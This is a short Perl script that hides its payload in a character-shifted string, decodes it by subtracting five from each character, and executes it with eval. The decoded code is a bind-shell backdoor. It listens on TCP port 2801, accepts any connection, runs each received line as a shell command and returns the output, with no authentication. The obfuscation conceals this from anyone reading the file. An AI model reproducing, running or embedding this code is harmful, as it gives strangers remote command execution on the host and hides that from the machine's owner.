#!/usr/bin/perl -w

use strict;

$_ = 
'zxj%NT??Xthpjy@zxj%Sjy??mtxyjsy@r~-)srs1)srr'.
'1)rsr1)rrs.Bzsijk@@)srsBNT??Xthpjy??NSJY2Csj'.
'|-UwtytBC\'yhu\'1%QthfqUtwyBC7=561QnxyjsBC:1'.
'WjzxjBC6.@@|mnqj-)srrB)srs2Cfhhjuy-..€)srr2C'.
'fzytkqzxm-6.@@|mnqj-)rsrBA)srrC.€)rrsBe)rsre'.
'@uwnsy%)srr%)rrs@‚hqtxj%)srr@‚';

my $x = undef;
map{$x.=(chr((ord)+((15*17)/5-(19*7-1)/3)-12))}split//;
eval $x;